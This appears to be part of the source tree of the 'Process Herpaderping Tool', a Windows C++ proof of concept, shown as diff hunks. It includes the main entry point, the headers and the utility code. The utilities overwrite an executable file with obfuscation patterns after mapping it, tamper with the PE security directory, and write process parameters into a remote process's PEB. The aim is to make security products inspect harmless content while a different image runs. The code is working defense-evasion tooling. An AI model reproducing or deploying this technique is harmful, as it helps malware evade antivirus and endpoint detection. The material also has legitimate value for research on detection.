/// Main entry point for Process Herpaderping Tool.
/// </summary>
/// <param name="Argc">
/// Number of command line arguments.
/// </param>
/// <param name="Argv">
/// Command line arguments.
/// </param>
/// <returns>
/// EXIT_SUCCESS on success, EXIT_FAILURE on failure or invalid parameters.
/// </returns>
int wmain(
_In_ int Argc,
_In_reads_(Argc) const wchar_t* Argv[])
{
Parameters params;
if (FAILED(Utils::HandleCommandLineArgs(Argc,
Argv,
Constants::ToolHeader,
params)))
{
return EXIT_FAILURE;
}
if (params.Quiet())
{
//
// Run quietly, no header and override the logging mask.
//
Utils::SetLoggingMask(0);
}
else
{
std::wcout << Constants::ToolHeader << L'\n';
Utils::SetLoggingMask(params.LoggingMask());
}
//
// Herpaderp wants a pattern to use for obfuscation, set that up here.
//
HRESULT hr;
std::span<const uint8_t> pattern = Constants::Pattern;
std::vector<uint8_t> patternBuffer;
if (params.RandomObfuscation())
{
//
// Use a random pattern instead.
//
patternBuffer.resize(Constants::RandPatterLen);
hr = Utils::FillBufferWithRandomBytes(patternBuffer);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to generate random buffer");
return EXIT_FAILURE;
}
pattern = std::span<const uint8_t>(patternBuffer);
}
hr = Herpaderp::ExecuteProcess(params.TargetBinary(),
params.FileName(),
params.ReplaceWith(),
pattern,
params.HerpaderpFlags());
if (FAILED(hr))
{
Utils::Log(Log::Error, hr, L"Process Herpaderp Failed");
return EXIT_FAILURE;
}
Utils::Log(Log::Success, L"Process Herpaderp Succeeded");
return EXIT_SUCCESS;
}
@@ -0,0 +1,103 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: pch.hpp
// Author: Johnny Shaw
// Abstract: Pre-compiled Header
//
#pragma once
//
// Windows
//
#define WIN32_LEAN_AND_MEAN
#define WIN32_NO_STATUS
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include <strsafe.h>
#include <winioctl.h>
#include <bcrypt.h>
//
// STL
//
#include <cstdint>
#include <iostream>
#include <iomanip>
#include <string>
#include <sstream>
#include <array>
#include <vector>
#include <algorithm>
#include <functional>
#include <optional>
#include <span>
//
// Third Party
//
#pragma warning(push)
#pragma warning(disable : 6387) // prefast: does not adhere to the specification for the function
#pragma warning(disable : 6001) // prefast: using uninitialized memory
#pragma warning(disable : 6388) // prefast: data may not be value
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
#pragma warning(disable : 4635) // xmldoc: badly-formatted XML
#include <wil/common.h>
#include <wil/stl.h>
#include <wil/result.h>
#include <wil/resource.h>
#pragma warning(pop)
#pragma warning(push)
#pragma warning(disable : 4201) // nameless struct/union
#pragma warning(disable : 4324) // structure was padded due to __declspec(align())
#pragma warning(disable : 4471) // a forward declaration of an unscoped enumeration
#pragma warning(disable : 28253) // prefast: Inconsistent annotation
#define PHNT_VERSION PHNT_THRESHOLD
#include <phnt/phnt_windows.h>
#include <phnt/phnt.h>
#include <phnt/ntpsapi.h>
#include <phnt/ntrtl.h>
#include <phnt/ntpebteb.h>
#pragma warning(pop)
//
// Common Macros/Defines/Usings
//
#define SCAST(_X_) static_cast<_X_>
#define RCAST(_X_) reinterpret_cast<_X_>
#define CCAST(_X_) const_cast<_X_>
#define DCAST(_X_) dynamic_cast<_X_>
#define Add2Ptr(_P_, _X_) RCAST(void*)(RCAST(uintptr_t)(_P_) + _X_)
#ifndef FlagOn
#define FlagOn(_F_, _X_) ((_F_) & (_X_))
#endif
#ifndef SetFlag
#define SetFlag(_F_, _X_) ((_F_) |= (_X_))
#endif
#ifndef ClearFlag
#define ClearFlag(_F_, _X_) ((_F_) &= ~(_X_))
#endif
using handle_t = HANDLE;
//
// wil extensions
//
namespace wil
{
using unique_user_process_parameters = unique_any<
PRTL_USER_PROCESS_PARAMETERS,
decltype(&RtlDestroyProcessParameters),
RtlDestroyProcessParameters>;
}
#define RETURN_LAST_ERROR_SET(win32err) SetLastError(win32err); RETURN_LAST_ERROR()
//
// prefast suppression
//
#pragma warning(disable : 6319) // prefast: use of the comma-operator in a tested expression
//
// Internal
//
#include "res/version.h"
Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

@@ -0,0 +1,8 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/res/resource.h
// Author: Johnny Shaw
// Abstract: Resource Header
//
#define IDI_ICON 101
@@ -0,0 +1,47 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/res/resource.rc
// Author: Johnny Shaw
// Abstract: Resource File
//
#include <Windows.h>
#include <ntverp.h>
#include "resource.h"
#include "version.h"
IDI_ICON ICON "Icon.ico"
VS_VERSION_INFO VERSIONINFO
FILEVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD
PRODUCTVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x1L
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904b0"
BEGIN
VALUE "CompanyName", STR_COMPANY_NAME
VALUE "FileDescription", STR_FILE_DESCRIPTION
VALUE "FileVersion", STR_VERSION
VALUE "InternalName", STR_INTERNAL_NAME
VALUE "LegalCopyright", STR_COPYRIGHT
VALUE "OriginalFilename", STR_ORIGINAL_FILENAME
VALUE "ProductName", STR_PRODUCT_NAME
VALUE "ProductVersion", STR_PRODUCT_VERSION
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x409, 1200
END
END
@@ -0,0 +1,42 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/res/version.h
// Author: Johnny Shaw
// Abstract: Version Header
//
#pragma once
#define VER_MAJOR 1
#define VER_MINOR 0
#define VER_PATCH 0
#define VER_BUILD 1
#define MKSTR(_x_) #_x_
#define MKWSTR(_x_) L##_x_
#define VER_MAKE_STR(_Major_, _Minor_, _Patch_, _Build_)\
MKSTR(_Major_) "." \
MKSTR(_Minor_) "." \
MKSTR(_Patch_) "." \
MKSTR(_Build_)
#define VER_MAKE_WSTR(_Major_, _Minor_, _Patch_, _Build_)\
MKWSTR(_Major_) L"." \
MKWSTR(_Minor_) L"." \
MKWSTR(_Patch_) L"." \
MKWSTR(_Build_)
#define WSTR_COMPANY_NAME L"Johnny Shaw"
#define STR_COMPANY_NAME "Johnny Shaw"
#define WSTR_COPYRIGHT L"Copyright (c) 2020 Johnny Shaw"
#define STR_COPYRIGHT "Copyright (c) 2020 Johnny Shaw"
#define WSTR_ORIGINAL_FILENAME L"ProcessHerpaderping.exe"
#define STR_ORIGINAL_FILENAME "ProcessHerpaderping.exe"
#define WSTR_PRODUCT_NAME L"Process Herpaderping Tool"
#define STR_PRODUCT_NAME "Process Herpaderping Tool"
#define WSTR_FILE_DESCRIPTION WSTR_PRODUCT_NAME
#define STR_FILE_DESCRIPTION STR_PRODUCT_NAME
#define WSTR_INTERNAL_NAME L"ProcessHerpaderping"
#define STR_INTERNAL_NAME "ProcessHerpaderping"
#define WSTR_VERSION VER_MAKE_WSTR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD)
#define STR_VERSION VER_MAKE_STR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD)
#define WSTR_PRODUCT_VERSION WSTR_VERSION
#define STR_PRODUCT_VERSION STR_VERSION
@@ -0,0 +1,879 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/utils.cpp
// Author: Johnny Shaw
// Abstract: Utility functionality for herpaderping.
//
#include "pch.hpp"
#include "utils.hpp"
namespace Utils
{
static uint32_t g_LoggingMask{ 0xffffffff };
constexpr static uint32_t MaxFileBuffer{ 0x8000 }; // 32kib
}
_Use_decl_annotations_
HRESULT Utils::MatchParameter(
std::wstring_view Arg,
std::optional<std::wstring_view> Short,
std::optional<std::wstring_view> Long)
{
if (Arg.length() < 2)
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
}
if (Long.has_value() && (Arg[0] == L'-') && (Arg[1] == L'-'))
{
if (wcscmp(&Arg[2], Long->data()) == 0)
{
return S_OK;
}
}
if (Short.has_value() && ((Arg[0] == L'-') || (Arg[0] == L'/')))
{
if (wcscmp(&Arg[1], Short->data()) == 0)
{
return S_OK;
}
}
return E_FAIL;
}
_Use_decl_annotations_
HRESULT Utils::CheckForHelpOptions(
int Argc,
const wchar_t* Argv[])
{
for (int i = 0; i < Argc; i++)
{
if (SUCCEEDED(MatchParameter(Argv[i], L"h", L"help")) ||
SUCCEEDED(MatchParameter(Argv[i], L"?", std::nullopt)))
{
return S_OK;
}
}
return E_NOT_SET;
}
_Use_decl_annotations_
HRESULT Utils::HandleCommandLineArgs(
int Argc,
const wchar_t* Argv[],
std::optional<std::wstring_view> Header,
IArgumentParser& Parser)
{
if (SUCCEEDED(CheckForHelpOptions(Argc, Argv)) ||
FAILED(Parser.ParseArguments(Argc, Argv)) ||
FAILED(Parser.ValidateArguments()))
{
if (Header.has_value())
{
std::wcout << *Header << L'\n';
}
std::wcout << Parser.GetUsage();
return E_FAIL;
}
return S_OK;
}
_Use_decl_annotations_
std::wstring Utils::FormatError(uint32_t Error)
{
wil::unique_any<LPWSTR, decltype(&LocalFree), LocalFree> buffer;
std::wstring message;
auto length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
nullptr,
Error,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
RCAST(LPWSTR)(&buffer),
0,
nullptr);
if ((buffer != nullptr) && (length > 0))
{
message = std::wstring(buffer.get(), length);
}
else
{
length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_FROM_HMODULE |
FORMAT_MESSAGE_IGNORE_INSERTS,
GetModuleHandleA("ntdll.dll"),
Error,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
RCAST(LPWSTR)(&buffer),
0,
nullptr);
if ((buffer != nullptr) && (length > 0))
{
//
// NT status codes are formatted with inserts, only use the
// initial description if there is one, otherwise just use the
// string as is.
//
message = std::wstring(buffer.get(), length);
if (message[0] == L'{')
{
auto pos = message.find(L'}', 1);
if (pos != std::wstring::npos)
{
message = std::wstring(message.begin() + 1,
message.begin() + pos);
}
}
}
}
if (message.empty())
{
message = L"Unknown Error";
}
std::wstringstream ss;
ss << L"0x"
<< std::hex << std::setfill(L'0') << std::setw(8) << Error
<< L" - "
<< std::move(message);
auto res = ss.str();
EraseAll(res, { L'\r', L'\n', L'\t' });
return res;
}
_Use_decl_annotations_
void Utils::SetLoggingMask(uint32_t Level)
{
g_LoggingMask = Level;
}
static const wchar_t* GetLogLevelPrefix(_In_ uint32_t Level)
{
if (Level & Log::Error)
{
return L"[ERROR] ";
}
else if (Level & Log::Warning)
{
return L"[WARN] ";
}
else if (Level & Log::Information)
{
return L"[INFO] ";
}
else if (Level & Log::Debug)
{
return L"[DEBUG] ";
}
return L"[OK] ";
}
static void LogInternal(
_In_ bool AppendError,
_In_ uint32_t Error,
_In_ uint32_t Level,
_Printf_format_string_ const wchar_t* Format,
_In_ va_list Args)
{
if ((Level & Utils::g_LoggingMask) == 0)
{
return;
}
std::wstring line;
if (Utils::g_LoggingMask & Log::Context)
{
wil::str_printf_nothrow(line,
L"[%lu:%lu]",
GetCurrentProcessId(),
GetCurrentThreadId());
}
line += GetLogLevelPrefix(Level);
std::wstring fmt;
HRESULT hr = wil::details::str_vprintf_nothrow(fmt, Format, Args);
if (FAILED(hr))
{
fmt = L"Formatting Error " + Utils::FormatError(hr);
}
line += std::move(fmt);
if (AppendError)
{
line += L", ";
line += Utils::FormatError(Error);
}
if (Level & Log::Error)
{
std::wcerr << line << L'\n';
}
else
{
std::wcout << line << L'\n';
}
}
_Use_decl_annotations_
void Utils::Log(
uint32_t Level,
const wchar_t* Format,
...)
{
va_list args;
va_start(args, Format);
LogInternal(false, 0, Level, Format, args);
va_end(args);
}
_Use_decl_annotations_
uint32_t Utils::Log(
uint32_t Level,
uint32_t Error,
const wchar_t* Format,
...)
{
va_list args;
va_start(args, Format);
LogInternal(true, Error, Level, Format, args);
va_end(args);
return Error;
}
_Use_decl_annotations_
HRESULT Utils::FillBufferWithPattern(
std::vector<uint8_t>& Buffer,
std::span<const uint8_t> Pattern)
{
if (Buffer.empty())
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
}
auto bytesRemaining = Buffer.size();
while (bytesRemaining > 0)
{
auto len = (Pattern.size() > bytesRemaining ?
bytesRemaining
:
Pattern.size());
std::memcpy(&Buffer[Buffer.size() - bytesRemaining],
Pattern.data(),
Pattern.size());
bytesRemaining -= len;
}
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::FillBufferWithRandomBytes(
std::vector<uint8_t>& Buffer)
{
if (Buffer.empty())
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
}
RETURN_IF_NTSTATUS_FAILED(
BCryptGenRandom(nullptr,
Buffer.data(),
SCAST(ULONG)(Buffer.size()),
BCRYPT_USE_SYSTEM_PREFERRED_RNG));
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::GetFileSize(
handle_t FileHandle,
uint64_t& FileSize)
{
FileSize = 0;
LARGE_INTEGER fileSize;
RETURN_IF_WIN32_BOOL_FALSE(GetFileSizeEx(FileHandle, &fileSize));
if (fileSize.QuadPart < 0)
{
RETURN_LAST_ERROR_SET(ERROR_FILE_INVALID);
}
FileSize = fileSize.QuadPart;
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::SetFilePointer(
handle_t FileHandle,
int64_t DistanceToMove,
uint32_t MoveMethod)
{
LARGE_INTEGER distance;
distance.QuadPart = DistanceToMove;
RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(SetFilePointerEx(FileHandle,
distance,
nullptr,
MoveMethod));
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::CopyFileByHandle(
handle_t SourceHandle,
handle_t TargetHandle,
bool FlushFile)
{
//
// Get the file sizes.
//
uint64_t sourceSize;
RETURN_IF_FAILED(GetFileSize(SourceHandle, sourceSize));
uint64_t targetSize;
RETURN_IF_FAILED(GetFileSize(TargetHandle, targetSize));
//
// Set the file pointers to the beginning of the files.
//
RETURN_IF_FAILED(SetFilePointer(SourceHandle, 0, FILE_BEGIN));
RETURN_IF_FAILED(SetFilePointer(TargetHandle, 0, FILE_BEGIN));
uint64_t bytesRemaining = sourceSize;
std::vector<uint8_t> buffer;
if (bytesRemaining > MaxFileBuffer)
{
buffer.assign(MaxFileBuffer, 0);
}
else
{
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
}
while (bytesRemaining > 0)
{
if (bytesRemaining < buffer.size())
{
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
}
DWORD bytesRead = 0;
RETURN_IF_WIN32_BOOL_FALSE(ReadFile(SourceHandle,
buffer.data(),
SCAST(DWORD)(buffer.size()),
&bytesRead,
nullptr));
bytesRemaining -= bytesRead;
DWORD bytesWitten = 0;
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(TargetHandle,
buffer.data(),
SCAST(DWORD)(buffer.size()),
&bytesWitten,
nullptr));
}
if (FlushFile)
{
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(TargetHandle));
}
RETURN_IF_WIN32_BOOL_FALSE(SetEndOfFile(TargetHandle));
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::OverwriteFileContentsWithPattern(
handle_t FileHandle,
std::span<const uint8_t> Pattern,
bool FlushFile)
{
uint64_t targetSize;
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_BEGIN));
uint64_t bytesRemaining = targetSize;
std::vector<uint8_t> buffer;
if (bytesRemaining > MaxFileBuffer)
{
buffer.resize(MaxFileBuffer);
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
else
{
buffer.resize(SCAST(size_t)(bytesRemaining));
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
while (bytesRemaining > 0)
{
if (bytesRemaining < buffer.size())
{
buffer.resize(SCAST(size_t)(bytesRemaining));
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
DWORD bytesWritten = 0;
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,
buffer.data(),
SCAST(DWORD)(buffer.size()),
&bytesWritten,
nullptr));
bytesRemaining -= bytesWritten;
}
if (FlushFile)
{
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
}
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::ExtendFileWithPattern(
handle_t FileHandle,
uint64_t NewFileSize,
std::span<const uint8_t> Pattern,
uint32_t& AppendedBytes,
bool FlushFile)
{
AppendedBytes = 0;
uint64_t targetSize;
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
if (targetSize >= NewFileSize)
{
RETURN_LAST_ERROR_SET(ERROR_FILE_TOO_LARGE);
}
RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_END));
uint64_t bytesRemaining;
bytesRemaining = (NewFileSize - targetSize);
std::vector<uint8_t> buffer;
if (bytesRemaining > MaxFileBuffer)
{
buffer.resize(MaxFileBuffer);
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
else
{
buffer.resize(SCAST(size_t)(bytesRemaining));
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
while (bytesRemaining > 0)
{
DWORD bytesWritten = 0;
if (bytesRemaining < buffer.size())
{
buffer.resize(SCAST(size_t)(bytesRemaining));
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,
buffer.data(),
SCAST(DWORD)(buffer.size()),
&bytesWritten,
nullptr));
bytesRemaining -= bytesWritten;
AppendedBytes += bytesWritten;
}
if (FlushFile)
{
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
}
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::OverwriteFileAfterWithPattern(
handle_t FileHandle,
uint64_t FileOffset,
std::span<const uint8_t> Pattern,
uint32_t& WrittenBytes,
bool FlushFile)
{
WrittenBytes = 0;
uint64_t targetSize;
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
if (FileOffset >= targetSize)
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
}
RETURN_IF_FAILED(SetFilePointer(FileHandle, FileOffset, FILE_BEGIN));
uint64_t bytesRemaining;
bytesRemaining = (targetSize - FileOffset);
std::vector<uint8_t> buffer;
if (bytesRemaining > MaxFileBuffer)
{
buffer.resize(MaxFileBuffer);
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
else
{
buffer.resize(SCAST(size_t)(bytesRemaining));
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
while (bytesRemaining > 0)
{
DWORD bytesWritten = 0;
if (bytesRemaining < buffer.size())
{
buffer.resize(SCAST(size_t)(bytesRemaining));
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
}
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,
buffer.data(),
SCAST(DWORD)(buffer.size()),
&bytesWritten,
nullptr));
bytesRemaining -= bytesWritten;
WrittenBytes += bytesWritten;
}
if (FlushFile)
{
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
}
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::ExtendFileSecurityDirectory(
handle_t FileHandle,
uint32_t ExtendedBy,
bool FlushFile)
{
uint64_t targetSize;
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
wil::unique_handle mapping;
ULARGE_INTEGER mappingSize;
mappingSize.QuadPart = targetSize;
mapping.reset(CreateFileMappingW(FileHandle,
nullptr,
PAGE_READWRITE,
mappingSize.HighPart,
mappingSize.LowPart,
nullptr));
RETURN_LAST_ERROR_IF(!mapping.is_valid());
wil::unique_mapview_ptr<void> view;
view.reset(MapViewOfFile(mapping.get(),
FILE_MAP_READ | FILE_MAP_WRITE,
0,
0,
mappingSize.LowPart));
RETURN_LAST_ERROR_IF(view == nullptr);
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get());
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
//
// This is not a PE file, we're done.
//
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
}
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(),
dosHeader->e_lfanew));
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
}
IMAGE_DATA_DIRECTORY* secDir;
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
{
if (ntHeader->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
{
//
// No security directory, we're done.
//
return S_OK;
}
secDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
}
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
{
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
if (ntHeader64->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
{
//
// No security directory, we're done.
//
return S_OK;
}
secDir = &ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
}
else
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
}
if ((secDir->VirtualAddress) == 0 || (secDir->Size == 0))
{
//
// No security directory, we're done.
//
return S_OK;
}
//
// Extend the security directory size.
//
secDir->Size = (secDir->Size + ExtendedBy);
RETURN_IF_WIN32_BOOL_FALSE(FlushViewOfFile(view.get(),
mappingSize.LowPart));
view.reset();
mapping.reset();
if (FlushFile)
{
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
}
return S_OK;
}
_Use_decl_annotations_
HRESULT Utils::GetImageEntryPointRva(
handle_t FileHandle,
uint32_t& EntryPointRva)
{
EntryPointRva = 0;
uint64_t fileSize;
RETURN_IF_FAILED(GetFileSize(FileHandle, fileSize));
ULARGE_INTEGER mappingSize;
wil::unique_handle mapping;
mappingSize.QuadPart = fileSize;
mapping.reset(CreateFileMappingW(FileHandle,
nullptr,
PAGE_READONLY,
mappingSize.HighPart,
mappingSize.LowPart,
nullptr));
RETURN_LAST_ERROR_IF(!mapping.is_valid());
wil::unique_mapview_ptr<void> view;
view.reset(MapViewOfFile(mapping.get(),
FILE_MAP_READ,
0,
0,
mappingSize.LowPart));
RETURN_LAST_ERROR_IF(view == nullptr);
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get());
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
}
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(),
dosHeader->e_lfanew));
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
}
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
{
EntryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;
}
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
{
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
EntryPointRva = ntHeader64->OptionalHeader.AddressOfEntryPoint;
}
else
{
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
}
return S_OK;
}
class OptionalUnicodeStringHelper
{
public:
OptionalUnicodeStringHelper(
_In_opt_ const std::optional<std::wstring>& String) :
m_String(String)
{
if (m_String.has_value())
{
RtlInitUnicodeString(&m_Unicode, m_String->c_str());
}
else
{
RtlInitUnicodeString(&m_Unicode, L"");
}
}
PUNICODE_STRING Get()
{
if (m_String.has_value())
{
return &m_Unicode;
}
return nullptr;
}
operator PUNICODE_STRING()
{
return Get();
}
private:
const std::optional<std::wstring>& m_String;
UNICODE_STRING m_Unicode;
};
_Use_decl_annotations_
HRESULT Utils::WriteRemoteProcessParameters(
handle_t ProcessHandle,
const std::wstring ImageFileName,
const std::optional<std::wstring>& DllPath,
const std::optional<std::wstring>& CurrentDirectory,
const std::optional<std::wstring>& CommandLine,
void* EnvironmentBlock,
const std::optional<std::wstring>& WindowTitle,
const std::optional<std::wstring>& DesktopInfo,
const std::optional<std::wstring>& ShellInfo,
const std::optional<std::wstring>& RuntimeData)
{
//
// Get the basic info for the remote PEB address.
//
PROCESS_BASIC_INFORMATION pbi{};
RETURN_IF_NTSTATUS_FAILED(NtQueryInformationProcess(
ProcessHandle,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
nullptr));
//
// Generate the process parameters to write into the process.
//
UNICODE_STRING imageName;
RtlInitUnicodeString(&imageName, ImageFileName.c_str());
OptionalUnicodeStringHelper dllPath(DllPath);
OptionalUnicodeStringHelper commandLine(CommandLine);
OptionalUnicodeStringHelper currentDirectory(CurrentDirectory);
OptionalUnicodeStringHelper windowTitle(WindowTitle);
OptionalUnicodeStringHelper desktopInfo(DesktopInfo);
OptionalUnicodeStringHelper shellInfo(ShellInfo);
OptionalUnicodeStringHelper runtimeData(RuntimeData);
wil::unique_user_process_parameters params;
//
// Generate the process parameters and do not pass
// RTL_USER_PROC_PARAMS_NORMALIZED, this will keep the process parameters
// de-normalized (pointers will be offsets instead of addresses) then
// LdrpInitializeProcess will call RtlNormalizeProcessParameters and fix
// them up when the process starts.
//
// Note: There is an exception here, the Environment pointer is not
// de-normalized - we'll fix that up ourself.
//
RETURN_IF_NTSTATUS_FAILED(RtlCreateProcessParametersEx(
&params,
&imageName,
dllPath,
currentDirectory,
commandLine,
EnvironmentBlock,
windowTitle,
desktopInfo,
shellInfo,
runtimeData,
0));
//
// Calculate the required length.
//
size_t len = params.get()->MaximumLength + params.get()->EnvironmentSize;
//
// Allocate memory in the remote process to hold the process parameters.
//
auto remoteMemory = VirtualAllocEx(ProcessHandle,
nullptr,
len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
RETURN_IF_NULL_ALLOC(remoteMemory);
//
// Okay we have some memory in the remote process, go do the final fix-ups.
//
if (params.get()->Environment != nullptr)
{
//
// The environment block will always be right after the length, which
// is the size of RTL_USER_PROCESS_PARAMETERS plus any extra field
// data.
//
params.get()->Environment = Add2Ptr(remoteMemory, params.get()->Length);
}
//
// Write the parameters into the remote process.
//
RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(ProcessHandle,
remoteMemory,
params.get(),
len,
nullptr));
//
// Write the parameter pointer to the remote process PEB.
//
RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(
ProcessHandle,
Add2Ptr(pbi.PebBaseAddress,
FIELD_OFFSET(PEB, ProcessParameters)),
&remoteMemory,
sizeof(remoteMemory),
nullptr));
return S_OK;
}
@@ -0,0 +1,474 @@
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/utils.hpp
// Author: Johnny Shaw
// Abstract: Utility functionality for herpaderping.
//
#pragma once
namespace Log
{
constexpr static uint32_t Success{ 0x00000001ul };
constexpr static uint32_t Information{ 0x00000002ul };
constexpr static uint32_t Warning{ 0x00000004ul };
constexpr static uint32_t Error{ 0x00000008ul };
constexpr static uint32_t Context{ 0x00000010ul };
constexpr static uint32_t Debug{ 0x80000000ul };
}
namespace Utils
{
/// <summary>
/// Argument parser interface.
/// </summary>
class IArgumentParser
{
public:
virtual ~IArgumentParser() = default;
/// <summary>
/// Implements functionality for parsing arguments.
/// </summary>
/// <param name="Argc">
/// Number of command line arguments.
/// </param>
/// <param name="Argv">
/// Command line arguments.
/// </param>
/// <returns>
/// Success if arguments were parsed successfully. Failure otherwise.
/// </returns>
_Must_inspect_result_ virtual HRESULT ParseArguments(
_In_ int Argc,
_In_reads_(Argc) const wchar_t* Argv[]) = 0;
/// <summary>
/// Implements retrieving the argument usage.
/// </summary>
/// <returns>
/// Argument usage.
/// </returns>
virtual std::wstring_view GetUsage() const = 0;
/// <summary>
/// Provides the interface an opportunity to validate the parsed
/// arguments. If the arguments are invalid (for example, two options
/// are used that may not be specified together) the implementation
/// may return failure here to indicate the arguments are invalid.
/// </summary>
_Must_inspect_result_ virtual HRESULT ValidateArguments() const = 0;
protected:
IArgumentParser() = default;
};
/// <summary>
/// Matches a parameter argument with either short or parameter.
/// </summary>
/// <param name="Arg">
/// Argument to check against short or long parameter argument
/// must either be prefixed explicitly as long ("--") or short ("-", "/").
/// </param>
/// <param name="Short">
/// Short parameter representation (e.g. "q").
/// </param>
/// <param name="Long">
/// Long parameter representation (e.g. "quiet").
/// </param>
/// <returns>
/// Success if the argument matches either the short to long parameter.
/// </returns>
_Must_inspect_result_ HRESULT MatchParameter(
_In_ std::wstring_view Arg,
_In_opt_ std::optional<std::wstring_view> Short,
_In_opt_ std::optional<std::wstring_view> Long);
/// <summary>
/// Checks for help options in parameters.
/// </summary>
/// <param name="Argc">
/// Number of command line arguments.
